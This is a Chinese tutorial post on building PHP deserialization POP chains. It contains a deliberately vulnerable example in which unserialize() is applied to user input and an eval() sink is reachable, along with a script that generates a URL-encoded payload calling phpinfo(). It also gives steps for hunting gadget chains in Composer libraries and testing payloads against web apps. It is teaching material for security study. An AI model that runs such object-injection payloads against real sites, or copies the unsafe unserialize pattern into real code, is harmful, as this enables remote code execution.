PHP反序列化进阶寻找和构造
POP链的构造
如果关键代码不在魔术方法中,而是在一个类的普通方法中。
这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
<?phpclass lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); }}class normal { function action() { echo "hello"; }}class evil { private $data; function action() { eval($this->data); }}unserialize($_GET['d']);
lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。
<?phpclass lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); }}class evil { private $data = "phpinfo();";}echo urlencode(serialize(new lemon()));echo "\n\r";
注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
获取已经包含的文件: get_included_files() 获取已经定义的类: get_declared_classes() 加载所有类 __autoload()
现实中查找反序列化漏洞及构造exploit
前置知识
PHP的 unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类.
在传统的PHP中你需要通过使用一大串的include() 或者 require()来包含所需的类定义文件
于是后来出现了 autoloading 技术,他可以自动导入需要使用的类,再也不需要不断地复制粘贴那些include代码了
这种技术同时也方便了我们的漏洞利用.
因为在我们找到一个反序列化点的时候我们所能使用的类就多了,那么实现漏洞利用的可能性也就更加高。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具
同时他还能自动导入所以依赖库中定义的类。
这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。
1.Composer配置的依赖库存储在vendor目录下2.如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require __DIR__ . '/vendor/autoload.php';
漏洞发现技巧
默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。
找PHP链的基本思路
1.在各大流行的包中搜索 __wakeup()
和 __destruct()
函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.
构造exploit的思路
1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试.
更多相关文章:
PHP反序列化进阶寻找和构造的更多相关文章
- C++ 进阶5 拷贝构造 深度复制 运算符重载
C++ 进阶5 拷贝构造 深度复制 运算符重载 20131026 例子: 运行环境是G++ 编译, /* * main.cpp * * Created on: 2013年10月26日 * ...
- php反序列化之pop链构造
本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下 题目 查看源码 逻辑是当参数fn存在且不包含string.zlib.flag这三个字符串时,进行文件包含这里的过滤是 ...
- .Net类的序列化和反序列化 - 进阶者系列 - 学习者系列文章
今天看了下以前的一个工具的代码,其中涉及到.NET类的序列化和反序列化问题,所以就写一下. 这里说一下.NET类序列化的好处..NET类在序列化之前只是一个相对狭义的类.通过序列化,能够更好的保存该类 ...
- 左神算法进阶班3_1构造数组的MaxTree
题目 一个数组的MaxTree定义: 数组必须没有重复元素 MaxTree是一棵二叉树,数组的每一个值对应一个二叉树节点 包括MaxTree树在内且在其中的每一棵子树上,值最大的节点都是树的头 给定一 ...
- Java反序列化漏洞原理解析(案例未完善后续补充)
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...
- 黑马程序员_Java基础:序列化(Serializable)与反序列化
------- android培训.java培训.期待与您交流! ---------- 在学习IO中的ObjectOutputStream和ObjectInputStream时,会涉及到序列化和反序列 ...
- Php学习之SESSION反序列化机制
在php.ini中存在三项配置项:session.save_path="" --设置session的存储路径session.save_handler="" -- ...
- 序列化、反序列化和transient关键字的作用
引言 将 Java 对象序列化为二进制文件的 Java 序列化技术是 Java 系列技术中一个较为重要的技术点,在大部分情况下,开发人员只需要了解被序列化的类需要实现 Serializable 接口, ...
- Windows phone 之XML序列化与反序列化
为什么要做序列化和反序列化? 一个回答: 我们都知道对象是不能在网络中直接传输的,不过还有补救的办法.XML(Extensible Markup Language)可扩展标记语言,本身就被设计用来存储 ...
随机推荐
- MySQL的btree索引和hash索引区别
在使用MySQL索引的时候, 选择b-tree还是hash hash索引仅仅能满足"=","IN"和"<=>"查询,不能使用范 ...
- Codevs 1519 过路费(Mst+Lca)
1519 过路费 时间限制: 1 s 空间限制: 256000 KB 题目等级 : 大师 Master 题目描述 Description 在某个遥远的国家里,有 n个城市.编号为 1,2,3,-,n. ...
- zabbix自动注册,实现自动添加机器,减少人工干预
1.zabbix_agent的安装配置: vim install_zabbix_agent.sh #!/bin/bash #author:chenjianwen RealIP=`curl -s htt ...
- 关于java中对BigDecimal加减乘除的基本用法
Java在java.math包中提供的API类BigDecimal,用来对超过16位有效位的数进行精确的运算.双精度浮点型变量double可以处理16位有效数. 在实际应用中,需要对更大或者更小的数进 ...
- java基础阶段几个必会面试题
摘自:https://www.cnblogs.com/zn19961006/p/11869182.html java基础阶段几个必会面试题 目录 1.说出你对面向对象的理解 在我理解,面向对象是向现实 ...
- Linux TC限制流量
一.TC原理介绍 Linux操作系统中的流量控制器TC(Traffic Control)用于Linux内核的流量控制,主要是通过在输出端口处建立一个队列来实现流量控制. Linux流量控制的基本原理如 ...
- uni-app 尺寸单位
uni-app 支持的通用 css 单位包括 px.rpx px 即屏幕像素 rpx 即响应式px,一种根据屏幕宽度自适应的动态单位.以750宽的屏幕为基准,750rpx恰好为屏幕宽度.屏幕变宽,rp ...
- mysql字符串函数:FIND_IN_SET()使用方法详解
语法: FIND_IN_SET(str,strlist) 第一个参数str是要查找的字符串. 第二个参数strlist是要搜索的逗号分隔的字符串列表. 假如字符串str 在由N 子链组成的字符串列表s ...
- HearthBuddy的plugin加载
// Hearthbuddy.Windows.MainWindow // Token: 0x060001FF RID: 511 RVA: 0x0008951C File Offset: 0x00087 ...
- import 和 require 的 区别
node编程中最重要的思想就是模块化,import和require都是被模块化所使用. 遵循规范 require 是 AMD规范引入方式 import是es6的一个语法标准,如果要兼容浏览器的话必须转 ...